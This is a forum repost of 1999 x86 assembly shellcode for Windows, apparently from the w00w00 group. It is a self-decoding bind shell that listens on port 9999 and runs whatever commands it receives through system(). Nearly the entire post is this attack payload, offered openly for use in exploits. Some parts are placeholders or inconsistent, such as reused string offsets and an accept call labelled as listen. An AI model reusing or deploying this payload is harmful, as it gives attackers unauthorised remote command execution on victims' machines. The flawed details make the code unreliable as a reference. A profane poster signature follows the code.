发新话题
打印

windows shell

windows shell

文章作者:Matt Conover & w00w00 (WSD)
复制内容到剪贴板
代码:
# Windows shell (one-sided command.com)
# Copyright (C) March 1999, Matt Conover & w00w00 (WSD)
#
# Can give input, but will not see output
# This will only allow 1 connection at a time (for simplicity)
#
# Because Windows doesn't allow interrupts, we push arguments on the stack
# and 'call' functions.  The catch is that the addresses of necessary
# functions will vary between programs.  Therefore, we use the shellgen
# to "plug" in our guessed (or acquired) addresses.
#
# Notes:
# %edi = first of pre-defined data
# %esi = address of module handle
# %ecx = client (accept()) fd
# %edx = server (socket()) fd

jmp init              # cheap hack (to get data addresses)
start: popl %edi          # pop saved eip into edi

# ---------------------------------------------------------------------
# First we must un'xor all bytes in the shellcode, except for the first
# few, which was left unxor'd (this code here) so that we could decrypt

# We start at our ascii strings, and move backwards until we get to
# the end of this code (un-xor'd code)

pushl %edi              # save the old edi

call blah              # this will be used as an index address
blah: popl %esi              # on where to stop xor'ing

movl %esi,%eax              # save ending address for XOR
subl $0x5,%eax              # note: we are xor'ing end addr->start addr

addl $0xXX,%edi              # offset to beginning of xor'd code

xorloop:
  decl %edi              # start at top, decrease addr to bottom
  cmpl whatever,%edi          # see if we've reached decrypted all data
  jle xorloop_end          # if we've reached last address.. end

  xorb $0x1,(%edi)          # otherwise, decrypt/xor the byte
  jmp xorloop

xorloop_end: popl %edi          # restore the old edi

# -------------------------------------
# START OF XOR'D BLOCK

# Set all 0xff's to 0x00's (null chars)
# NOTE: the 0xffffffff's used for LoadLibrary() and GetProcAddress() will
# be modified by shellgen, and will not exist at run-time

pushl %edi              # save %edi (saved eip)
decl %edi              # start 1 address below

leal 0x56(%edi),%eax          # store the final 0xff address

setnull_loop:
  cmpl %edi,%eax          # see if we're at end of 0xff'd data
  je setnull_end          # end if so

  incl %edi              # address pointer by 1
  cmpb $0xff,(%edi)          # see if it's 0xff
  jne setnull_loop          # if not, continue

  addb $0x1,(%edi)          # set 0xff'd byte to null
  jmp setnull_loop

setnull_end: popl %edi          # restore the old %edi (saved eip)

# ---------------------------------------------------------------------

# NOTE: All bytes from this point on will be XOR'd (encrypted) to prevent
# nulls in the call functions (et. al.)

LoadLibrary:
  leal 0x8(%edi),%eax          # 0x8(%edi) = address of libname
  pushl %eax

  call *%edi              # call LoadLibrary("wsock32.dll");
  movl %eax,%esi          # store retval (mod handle) in esi

  # ----------------- WSAStartup()

# Note: in practice, this isn't needed.  A program we're trying to exploit
# will have already called WSAStartup() if we are communicating with it
# remotely.  Therefore, we'll leave the code but comment it out.

# WSAStartup:
#  subl $0x190,%esp          # allocate 400 bytes for WSADATA
#  movl %esp,%ebx          # address of WSADATA (used as arg 2)

#  push %ebx              # &wsaData
#  push $0x101              # MAKEWORD(1, 1) result = wsock v1.1

#  leal 0x14(%edi),%eax          # function name ("WSAStartup")
#  call getprocaddr          # function addr returned in %eax

#  call *%eax              # call ret. addr. (WSAStartup()'s addr)

  # ----------------- socket()

socket:
  xorl %eax,%eax          # clear out %eax

  pushl %eax              # IPPROTO_IP (protocol)
  pushl $0x1              # SOCK_STREAM (type)
  pushl $0x2              # AF_INET (family)

  leal 0x1f(%edi),%eax          # function address ("socket")
  call getprocaddr          # function addr returned in %eax

  call *%eax              # call ret. addr. (socket()'s addr)
  movl %eax,%edx          # store server fd in edx

  # ----------------- bind()

bind:
  pushl $0x10              # sockaddr size in bytes (16 bytes)

  subl $0x10,%esp          # allocate mem for sockaddr
  movl %esp,%ebx          # address of sockaddr
  pushl %ebx              # sockaddr's address

  xorl %eax,%eax
  movb $0x10,%al          # zero 0x10 (16) bytes
  call bzero              # zero out sockaddr (ebx = ptr)

  # NOTE - this the structure order may vary between compilers
  movb     $0x2,(%esp)          # AF_INET (sockaddr->sin_family)
  movl $0xf27,0x4(%esp)     # port 9999, in NBO (sockaddr->sin_port)

  pushl %edx              # server fd

  leal 0x1f(%edi),%eax          # function name ("bind")
  call getprocaddr          # function addr returned in %eax

  call *%eax              # call ret. addr. (bind()'s addr)

  # ----------------- listen()

listen:
  xorl %eax,%eax          # clear out %eax

  pushl %eax              # number of backlogs
  pushl %edx              # server fd

  leal 0x1f(%edi),%eax          # function name ("listen")
  call getprocaddr          # function addr returned in %eax

  call *%eax              # call ret. addr. (listen()'s addr)

while_loop1:

    # ----------------- accept()

accept:
    # setup 3rd arg for accept()
    subl $0x4,%esp          # allocate room for sockaddr len
    movl $0x10,(%esp)          # size of sockaddr (16 bytes)
    movl %esp,%ebx          # load %ebx with socklen's address (int *)

    pushl %ebx          # socklen address

    # setup 2nd arg for accept()
    subl $0x10,%esp          # allocate client's sockaddr (16 bytes)
    movl %esp,%ebx          # address of sockaddr

    pushl %ebx          # sockaddr address
    pushl %edx          # server fd

    leal 0x1f(%edi),%eax     # function name ("listen")
    call getprocaddr          # function addr returned in %eax

    call *%eax          # call ret. addr. (listen()'s addr)

    # ----------------------

    movl %eax,%ecx          # store new client fd here

    subl $0x100,%esp          # size of buffer (256 bytes)
    movl %esp,%ebx          # address of buffer

    movl %ebx,%ecx          # ecx = buf ptr

    movl $0x100,%eax          # zero 0x100 (256) bytes
    call bzero          # zero out buf (ebx = ptr)

subwhile_loop1:
    # ----------------- recv()

recv:
    xorl %eax,%eax          # clear out %eax

    pushl %eax          # flags
    pushl $0x1          # buffer len (1 char)

    pushl %ecx          # pointer to buf
    pushl %edx          # client fd

    leal 0x1f(%edi),%eax     # function name ("recv")
    call getprocaddr          # function addr returned in %eax

    call *%eax          # call ret. addr. (recv()'s addr)

    xorl %ebx,%ebx          # clear out %ebx

    cmpl %ebx,%eax          # compare recv() retval to 0
    jl subwhile_end1          # if < 0, break (i.e., SOCKET_ERROR)
   
    # ----------------------

    cmpb $0x1f,(%ecx)          # 0x1f = last ascii code before space
    jle noprint          # if it&#39;s < ascii code 0x1f, end buffer

    incl %ecx              # increase bufptr by 1 byte
    jmp subwhile_loop1     # get next char

    noprint:
      xorl %eax,%eax          # clear out %eax
      movl %eax,(%ecx)     # null terminate buffer
                   # fall into system() to exec buf

    # ----------------- system()

system:
    leal 0x1f(%edi),%eax     # function name ("system")
    call getprocaddr          # function addr returned in %eax

    call *%eax          # call ret. addr. (system()&#39;s addr)

    # --------------------------

    movl $0x100,%eax          # zero 0x100 (256) bytes
    call bzero          # zero out sockaddr (ebx = ptr)

    movl %ebx,%ecx          # reset buf ptr to first of buf

jmp subwhile_loop1

subwhile_end1:              # where we break to
                   # continue on below

  # ------------------------------------------------------
  # closesocket()

closesocket:
  pushl %ecx              # client fd

  leal 0x43(%edi),%eax          # function name ("closesocket")
  call getprocaddr          # function addr returned in %eax

  call *%eax              # call ret. addr. (closesocket()&#39;s addr)

jmp while_loop1

# -------------------------------------------------------------------

getprocaddr:
  pushl %eax              # function name (caller set %eax)
  pushl %esi              # push the module returned by LoadLibrary()

  leal 0x4(%edi),%ebx          # address of GetProcAddress()
  call *%ebx              # call GetProcAddress(mod, funcname)

  ret                   # return because this is called as a proc

# -------------------------------------------------------------------

bzero:
  pushl %ebx              # save %ebx (used as pointer)
  pushl %ecx              # save %ecx (used to hold 0x0)

  loop:
    xorl %ecx,%ecx          # clear out %ecx

    movb %cl,(%ebx)          # set byte to null
    incl %ebx              # increase pointer

    decl %eax              # decrease counter

    cmpl %ecx,%eax          # compare counter = 0
    jle endloop          # if <= 0, break;

    jmp loop              # continue looping

endloop:
  popl %ecx              # restore old %ecx (used to hold 0x0)
  popl %ebx              # restore old %ebx (used as pointer)

  ret
# ----------------------------

# END OF XOR&#39;D BLOCK

init: call start          # used to set eip as an index

# -------------------------------------------------------------------

# These 2 will be modified by shellgen.. don&#39;t touch!
.byte 0xff,0xff,0xff,0xff     # LoadLibrary(), (%edi)
.byte 0xff,0xff,0xff,0xff     # GetProcAddress(), 0x4(%edi)

# I use 0xff to indicate "end of string" (we can&#39;t use nulls)

.ascii "wsock32.dll"          # 11 bytes, 0x8(%edi)
.byte 0xff              # 1 byte

# -------------------------------------------------------------------

# WSAStartup() will usually not be used, but we&#39;re leaving it anyway.
.ascii "WSAStartup"          # 10 bytes, 0x14(%edi)
.byte 0xff              # 1 byte

.ascii "socket"              # 6 bytes, 0x1f(%edi)
.byte 0xff              # 1 byte

.ascii "bind"              # 4 bytes, 0x26(%edi)
.byte 0xff              # 1 byte

.ascii "listen"              # 6 bytes, 0x2b(%edi)
.byte 0xff              # 1 byte

.ascii "accept"              # 6 bytes, 0x32(%edi)
.byte 0xff              # 1 byte

.ascii "recv"              # 4 bytes, 0x39(%edi)
.byte 0xff              # 1 byte

.ascii "send"              # 4 bytes, 0x3e(%edi)
.byte 0xff              # 1 byte

.ascii "system"              # 6 bytes, 0x43(%edi)
.byte 0xff              # 1 byte

.ascii "closesocket"          # 11 bytes, 0x4a(%edi)
.byte 0xff              # 1 byte
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题